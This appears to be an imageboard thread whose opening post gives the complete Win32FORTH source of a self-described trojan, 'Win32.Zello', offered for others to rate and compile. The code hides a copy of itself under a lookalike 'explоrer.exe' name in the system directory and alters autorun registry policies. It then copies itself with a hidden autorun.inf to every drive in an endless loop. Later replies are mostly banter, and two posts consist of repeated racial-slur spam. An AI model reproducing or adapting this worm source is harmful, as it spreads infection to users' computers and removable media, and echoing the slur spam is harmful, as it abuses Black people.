'Fake recycler' trojan remake in Win32FORTH

Rate it, collegas ;) ...

\ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
\ Win32.Zello trojan v0.7
\ Developed in 2007 by Rozzamarine
\ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Needs NoConsole.F

:Class ExString <Super String
:M Addr: Get: Self DROP ;M
:M Len: Get: Self NIP ;M
;Class

ExString MyName
ExString Drive S" *:\" Put: Drive
ExString Path ExString AutoRun
ExString Text
FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_SYSTEM FILE_ATTRIBUTE_READONLY OR OR Constant Attribs
0 VALUE FHandle
Variable Zero

: MAIN
&ProgNam Count Put: MyName
\ Получение системной директории...
MAX_PATH Zero !
Zero Addr: Path Call GetSystemDirectory
Addr: Path Swap Put: Path
\ Корекция полученного пути
Get: Path + 1- C@ ASCII \
<> IF S" \" Add: Path Endif
S" explоrer.exe" Add: Path
\ Сравнение путей
FILE_ATTRIBUTE_NORMAL Addr: Path call SetFileAttributes DROP \ Снятие аттрибутов
Get: MyName Get: Path ISTR= NOT
if 0 Addr: Path Addr: MyName call CopyFile \ Копирование в системную директорию
\ Эмуляция открытия директории в Проводнике.
S" explorer.EXE " Put: Text
Get: MyName Drop 3 Add: Text
Addr: Text zEXEC-CMD DROP
IF \ Если копирование успешно...
Attribs Addr: Path call SetFileAttributes DROP \ Скрытие файла резидента.
Addr: Path zEXEC-CMD EndIf \ Запуск резидента
BYE \ Выход из программы.
endif
\ Установка настроек реестра...
0 Zero !
HKEY_CURRENT_USER Z" Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
KEY_WRITE (RegCreateKey) TO FHandle
FHandle Z" NoDriveAutoRun" REG_DWORD Zero 4 (RegSetValue) DROP
FHandle Z" NoDriveTypeAutoRun" REG_DWORD Zero 4 (RegSetValue) DROP
FHandle (RegCloseKey) DROP
BEGIN
\ Поиск по всем дискам...
[ ASCII Z 1+ ] LITERAL ASCII C
DO
I Addr: Drive C!
Addr: Drive call GetDriveType
1 > IF
\ Формируем адрес.
Get: Drive Put: Path
S" Zello.EXE" Add: Path
\ Меняем аттрибут.
FILE_ATTRIBUTE_NORMAL Addr: Path call SetFileAttributes DROP
\ Копируем себя по адресу.
0 Addr: Path Addr: MyName call CopyFile
If \ Если копирование прошло успешно...
\ Скрываем файл.
Attribs Addr: Path call SetFileAttributes DROP
Get: Drive Put: AutoRun
S" AutoRun.INF" Add: AutoRun
\ Меняем аттрибут.
FILE_ATTRIBUTE_NORMAL Addr: AutoRun call SetFileAttributes DROP
\ Создаем AutoRun-файл.
Get: AutoRun GENERIC_WRITE CREATE-FILE
0= If \ Если удалось создать файл...
TO FHandle
\ Подготовка текста для записи.
S" [autorun]\n" Put: Text
S" Open=" Add: Text Get: Path Add: Text
S" \nshellExecute=" Add: Text Get: Path Add: Text
S" \nshell\Auto\command=" Add: Text Get: Path Add: Text
S" \nshell=Auto" Add: Text
\ Запись.
Get: Text FHandle Write-FILE DROP
\ Закртыие файла.
FHandle Close-File DROP
\ Скрываем файл.
Attribs Addr: AutoRun call SetFileAttributes DROP
Else DROP
Endif
Endif
EndIF
LOOP
10000 MS
AGAIN
;

NoConsoleIO NoConsoleInImage
' MAIN TurnKey Zello.EXE
BYE

so, Forth __still__ isn't dead ?

That is an awful mess of code. Also, fail for Russian comments on an English language board. Commencing sage.

Python is soooooo much better looking than that and Perl and Javascript and C and Haskell. Python reads like a See Spot Run book. Which is good.

>>Also, fail for Russian comments on an English language board.
You think English comments on Russian boards is better ?

>>1
.EXE ?

>>6
compile your own !

>>5
No, why?

Most native Russian speakers know at least some English, but most native English speakers know no Russian at all.

>>3
Http://WWW.Translate.GOOGLE.com

>>S" [autorun]\n" Put: Text
>>S" Open=" Add: Text
how'bout:
>>S" [autorun]\nOpen=" Put: Text
?

>>11
Unserious.

BUMP !

>>7
No, why?

>>44
yeah, python looks so much better.
http://bitpim.svn.sourceforge.net/viewvc/bitpim/trunk/bitpim/src/fileview.py?view=markup

>>15
Yes, that does look better than Haskell and Forth.
And slightly better than C.

>>16
self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self self

Ok, it's cool to pr yourself all over the internets, but why changing nicknames?

>>17
and?

>>18 А почему бы и нет) ?

Bump.

Sage.  Fucking sage.  No one here cares.
Chrono, please, don't do such embarrassing things anymore.

>>22
No, why ?

>>1
You can tune a file system, but you can't tune a fish.

>>24
Really o.O ?

http://dis.4chan.org/read/prog/1193398733/1-40

>>26
sure !

Bump !

how can I compile this code ?

>>29
Using hands !

FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER FUCK YOU NIGGER

>>31  NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU ! NIGGER FUCKS YOU !

>>31 >>32 DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ DESU LULZ

Author = awful multiboard attention whore.  Commencing sage.

Bump.

>>35
Get the fuck out of here. Nobody gives a shit.

>>36
No, why ?

>>1,35,37
Potentially identical humans. Proceed with extreme caution.

Really 0.0 ?

>>39
Sure !

Bump!

it sucks.

>>42
Really ?

>>43
Sure 1.0 !

old thread is old